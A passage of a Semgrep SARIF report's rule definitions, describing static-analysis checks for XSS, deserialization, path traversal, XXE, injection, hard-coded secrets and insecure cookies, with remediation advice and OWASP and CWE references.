XSS"},"helpUri":"https://semgrep.dev/r/javascript.browser.security.raw-html-concat.raw-html-concat","id":"javascript.browser.security.raw-html-concat.raw-html-concat","name":"javascript.browser.security.raw-html-concat.raw-html-concat","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.raw-html-concat.raw-html-concat"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","id":"python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","name":"python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"abi.encodePacked hash collision with variable length arguments in $F()"},"help":{"markdown":"abi.encodePacked hash collision with variable length arguments in $F()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.encode-packed-collision.encode-packed-collision)\n - [https://swcregistry.io/docs/SWC-133](https://swcregistry.io/docs/SWC-133)\n","text":"abi.encodePacked hash collision with variable length arguments in $F()"},"helpUri":"https://semgrep.dev/r/solidity.security.encode-packed-collision.encode-packed-collision","id":"solidity.security.encode-packed-collision.encode-packed-collision","name":"solidity.security.encode-packed-collision.encode-packed-collision","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.encode-packed-collision.encode-packed-collision"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-json-flask.tainted-json-flask)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-json-flask.tainted-json-flask","id":"python.flask.deserialization.tainted-json-flask.tainted-json-flask","name":"python.flask.deserialization.tainted-json-flask.tainted-json-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-json-flask.tainted-json-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","id":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","name":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.httponly-false.httponly-false)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.httponly-false.httponly-false","id":"csharp.lang.audit.cookies.httponly-false.httponly-false","name":"csharp.lang.audit.cookies.httponly-false.httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.httponly-false.httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","id":"python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","name":"python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument."},"help":{"markdown":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor)\n - [https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/#snakeyaml-deserialization-vulnerability](https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/#snakeyaml-deserialization-vulnerability)\n","text":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument."},"helpUri":"https://semgrep.dev/r/java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","id":"java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","name":"java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","id":"python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","name":"python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","id":"csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","name":"csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","id":"javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","name":"javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SonarQube Docs API Key detected"},"help":{"markdown":"SonarQube Docs API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SonarQube Docs API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","id":"generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","name":"generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query."},"help":{"markdown":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli)\n - [https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf)\n","text":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query."},"helpUri":"https://semgrep.dev/r/javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","id":"javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","name":"javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","id":"python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","name":"python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","id":"java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","name":"java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information."},"help":{"markdown":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server)\n - [https://nodejs.org/api/http.html#http_class_http_agent](https://nodejs.org/api/http.html#http_class_http_agent)\n - [https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY](https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY)\n","text":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive 